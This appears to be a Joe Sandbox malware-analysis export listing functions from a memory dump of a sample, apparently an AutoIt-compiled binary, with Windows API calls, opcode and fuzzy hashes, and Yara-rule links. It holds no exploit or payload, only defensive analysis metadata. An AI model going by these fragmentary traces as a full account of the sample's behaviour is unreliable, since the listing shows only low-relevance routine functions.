Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 660e40d59c934134a81d1d0a974db59b7e362ae1d3108842ac727b79558dd879
Instruction ID: c94a7681c2cb88397a578abab713ff785233dcfd0ecb6ca9e84a94173f2233f1
Opcode Fuzzy Hash: 660e40d59c934134a81d1d0a974db59b7e362ae1d3108842ac727b79558dd879
Instruction Fuzzy Hash: 8831C271418394AAC325EB25DC49BEBB7D8FF82724F50462AF599C3191EB709A48C7C3

Function 008FFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00900668

Part of subcall function 009032A4: RaiseException.KERNEL32(?,?,?,0090068A,?,009B1444,?,?,?,?,?,?,0090068A,008E1129,009A8738,008E1129), ref: 00903304

__CxxThrowException@8.LIBVCRUNTIME ref: 00900685

Strings

Unknown exception, xrefs: 00900692

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: a914872bbab0cbcef06ed4b9bc053d8f38c268dcc6df112231f76efc92e68747
Instruction ID: c74cdf7927a7ced5e64b6f540f8db469b57a3ca93674f4357a24629098ce21c1
Opcode Fuzzy Hash: a914872bbab0cbcef06ed4b9bc053d8f38c268dcc6df112231f76efc92e68747
Instruction Fuzzy Hash: 60F0442490020D6FCB10B675DC46F5E776DAEC0354F604531BA24D65D2EF71DA6589C0

Function 008E10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 008E1BF4
Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 008E1BFC
Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 008E1C07
Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 008E1C12
Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 008E1C1A
Part of subcall function 008E1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 008E1C22

Part of subcall function 008E1B4A: RegisterWindowMessageW.USER32(00000004,?,008E12C4), ref: 008E1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 008E136A
OleInitialize.OLE32 ref: 008E1388
CloseHandle.KERNEL32(00000000,00000000), ref: 009224AB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 18a7a7f7f96cbf457ce990c82ed8011996a5742e37a023310bd357747da085f8
Instruction ID: 2e12c046835f2eb05047788c8257edba38602bc180b62c3ce7e4e0a3700defc5
Opcode Fuzzy Hash: 18a7a7f7f96cbf457ce990c82ed8011996a5742e37a023310bd357747da085f8
Instruction Fuzzy Hash: B271C2B59293408FC7A4DF7AAA656953BE1FB893603D4832EE01AC7271EBB04440EF51

Function 0094C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 008E3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0094C259
KillTimer.USER32(?,00000001,?,?), ref: 0094C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0094C270

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 6d4ce1d856cf6e7f2ba8c611458a07ee847fca5b984327f686cd11858ee814d1
Instruction ID: fd6c58f7deb594fae112194a51226e40f3b0cd46aac08d9d82bdf674cbf2447a
Opcode Fuzzy Hash: 6d4ce1d856cf6e7f2ba8c611458a07ee847fca5b984327f686cd11858ee814d1
Instruction Fuzzy Hash: B731A9B19053446FEB769F748855BD7BBECAF06308F00049DD6EDA7241C7B46A84CB51

Function 009186AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,009185CC,?,009A8CC8,0000000C), ref: 00918704
GetLastError.KERNEL32(?,009185CC,?,009A8CC8,0000000C), ref: 0091870E
__dosmaperr.LIBCMT ref: 00918739

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: d6e94fe3be6e3d8f8bad6b367dc2933c3930e50cf701ab8474e663960e15e94b
Instruction ID: a2d63d2faafd98d406fd72768246b3ff325e2f441b0e632ccbd508e0f8a5f17e
Opcode Fuzzy Hash: d6e94fe3be6e3d8f8bad6b367dc2933c3930e50cf701ab8474e663960e15e94b
Instruction Fuzzy Hash: 67014E3370562896D665633469497FF6B4D4BC17B4F3A021EF8389B1D2DEA1CCC2A150

Function 008EDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 008EDB7B
DispatchMessageW.USER32(?), ref: 008EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008EDB9F
Sleep.KERNELBASE(0000000A), ref: 008EDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00931CC9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 08982b49b9d5c242dfd8a102889cc5a7455f94c6edbb51fb0da056383d3c5024
Instruction ID: bc5560b33718cdd635eed1e9259d6cc756c8f5db00dd68ed69768aa0de13c3b9
Opcode Fuzzy Hash: 08982b49b9d5c242dfd8a102889cc5a7455f94c6edbb51fb0da056383d3c5024
Instruction Fuzzy Hash: B6F054715183849BE734C765DC55FEA73ACFB85310F504519E649C30D0EB3094889B15

Function 008F1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 008F17F6

Strings

CALL, xrefs: 008F17C6

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: e5837d8abeb4e3c9a58a1dfe3e8558526eeb928f23fcd0f534446fde7686ede1
Instruction ID: 1ccef47778a186a0d2029ede60ddb28bf5c4c13c0e7b23114d1dd0ff452d9ac6
Opcode Fuzzy Hash: e5837d8abeb4e3c9a58a1dfe3e8558526eeb928f23fcd0f534446fde7686ede1
Instruction Fuzzy Hash: F1227C70608209DFCB14DF28C484A2ABBF1FF99354F14892DF696CB261D775E845CB92

Function 008E2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00922C8C

Part of subcall function 008E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008E3A97,?,?,008E2E7F,?,?,?,00000000), ref: 008E3AC2

Part of subcall function 008E2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008E2DC4

Strings

X, xrefs: 00922C5A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: ddefdb7a4d56278dd2090d9fba325aeb10c1c3de737a69e3064f33c4c547e571
Instruction ID: 964928d853704931e82e3b1da3ec130545d4262568ed5c1728abd8656d587051
Opcode Fuzzy Hash: ddefdb7a4d56278dd2090d9fba325aeb10c1c3de737a69e3064f33c4c547e571
Instruction Fuzzy Hash: B621C671A002989FCB01DF99C809BEE7BFCEF4A314F004059E405E7241DBB499898BA1

Function 008E3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 008E3908

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: a304826670dd33ea284e02ecbcb7c9448ca7706d28d3aa8a3ece59ee09a9a45c
Instruction ID: b5428bb382779d9cb9e871911a91288d1b18eeb494255cc7dd74fa3c24e66ba3
Opcode Fuzzy Hash: a304826670dd33ea284e02ecbcb7c9448ca7706d28d3aa8a3ece59ee09a9a45c
Instruction Fuzzy Hash: F031C3B15083408FD720DF25D8987A7BBE8FB4A718F00092EF699C3250E771AE44CB52

Function 008FF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 008FF661

Part of subcall function 008ED730: GetInputState.USER32 ref: 008ED807

Sleep.KERNEL32(00000000), ref: 0093F2DE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 851971df2026afc142245eb15b5cd89f8c4d692998a846804891a8b60ad4632e
Instruction ID: 539a5fb62d3f4961bdab3caa19839b2cd644e5cb82316898f958f95ba31ab585
Opcode Fuzzy Hash: 851971df2026afc142245eb15b5cd89f8c4d692998a846804891a8b60ad4632e
Instruction Fuzzy Hash: 20F08C712442059FD314EF7AD849B6AB7E8FF46761F00002DE96EC7361DB70A840CB91

Function 008E4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 008E4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,008E4EDD,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E9C
Part of subcall function 008E4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008E4EAE
Part of subcall function 008E4E90: FreeLibrary.KERNEL32(00000000,?,?,008E4EDD,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4EFD

Part of subcall function 008E4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00923CDE,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E62
Part of subcall function 008E4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008E4E74
Part of subcall function 008E4E59: FreeLibrary.KERNEL32(00000000,?,?,00923CDE,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4E87

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 384d7d359e7bd34eb3e97d35faed440e36ade25832396be65988fb0bffeddc49
Instruction ID: 410d3f0fd7d8bad53b9ffe1352a41a433cdf0d5bb12cf1c4dc246e2921a2c780
Opcode Fuzzy Hash: 384d7d359e7bd34eb3e97d35faed440e36ade25832396be65988fb0bffeddc49
Instruction Fuzzy Hash: AF11E332610205AACF14FB6ADC02FAD77A5FF81B14F10882DF54AE61C1EE749A459751

Function 00918402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00918440

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a7417fdac8ee5af79f9636175ab1472027bb937f4e199420493ab7bb886b1dc8
Instruction ID: 8df5a26e7c9643bd1664bd64ebcc83ca2c43283cb6a26ac9ca5192c6048375b1
Opcode Fuzzy Hash: a7417fdac8ee5af79f9636175ab1472027bb937f4e199420493ab7bb886b1dc8
Instruction Fuzzy Hash: 58114875A0410AAFCF05DF58E941ADB7BF9EF48310F104059F808AB352DA30DA11DBA4

Function 00915000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00914C7D: RtlAllocateHeap.NTDLL(00000008,008E1129,00000000,?,00912E29,00000001,00000364,?,?,?,0090F2DE,00913863,009B1444,?,008FFDF5,?), ref: 00914CBE

_free.LIBCMT ref: 0091506C

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 1d2729c05727d938cabde99966e51720ac0ecb83c97a84c8e72dcc4a8515f11f
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 71012B72304708ABE3218F559841ADAFBECFBC9370F66051DE194932C0E6306845C6B4

Function 0090E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 06f5a3f64737e294255afaffbf0d893b761c9d39ddeb74f3f0606aea3518063d
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 69F02832611A189ED7313A69AC05B9B339C9FD2335F100F15F431D71D2CF75E84186A5

Function 00914C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,008E1129,00000000,?,00912E29,00000001,00000364,?,?,?,0090F2DE,00913863,009B1444,?,008FFDF5,?), ref: 00914CBE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 311a99f5267ca7087aee1c41914c691aab27b2675ed3eda767eebaabf900ea71
Instruction ID: fc4647b72c511a57fba32a46852a5b3a57586ae49ae36da7b72186986cef8eb7
Opcode Fuzzy Hash: 311a99f5267ca7087aee1c41914c691aab27b2675ed3eda767eebaabf900ea71
Instruction Fuzzy Hash: ABF0E93174622C6BDB215F669C09BDA378CBF957B0B148125BDA9A65D0CA30D88096E0

Function 00913820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6,?,008E1129), ref: 00913852

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 949542fa992ac8339cca61fb5dd72c49195c38ca560ccaafc0f420c93595d499
Instruction ID: f8884b01ee2ea1e994d23fe7d97739796a8870a45df305c689955a5df57e81bd
Opcode Fuzzy Hash: 949542fa992ac8339cca61fb5dd72c49195c38ca560ccaafc0f420c93595d499
Instruction Fuzzy Hash: A6E0E53130422C9AD63127669C04BDA377CAB827B0F05C1A0BD1992CD0DB10DE8181E0

Function 008E4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,009B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008E4F6D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 032ff3e6a0c1f92005c9d63d9806bb02a2f16dbbab393008f39df00fff3759d9
Instruction ID: d90350bcfebac2d20f774561b9dec24329e37a17f818ee33feeae29d90d01794
Opcode Fuzzy Hash: 032ff3e6a0c1f92005c9d63d9806bb02a2f16dbbab393008f39df00fff3759d9
Instruction Fuzzy Hash: A6F01C71105791CFDB349F66D494812B7E4FF15719310997EE1EE82511CB359C84DB50

Function 00972A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00972A66

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: b94815cbd0460cb6fc1a32b6cd6fba5f62e191d389741fef58b9acd7a0666351
Instruction ID: 788f44fb26e067318e1c52b2912b0cccc4d2d0eebd05a25628a94fe19914a508
Opcode Fuzzy Hash: b94815cbd0460cb6fc1a32b6cd6fba5f62e191d389741fef58b9acd7a0666351
Instruction Fuzzy Hash: B5E08677364216AEC718EB30EC80AFE735CEF94395B10893AFC1ED2140DB34999596E0

Function 008E30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 008E314E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

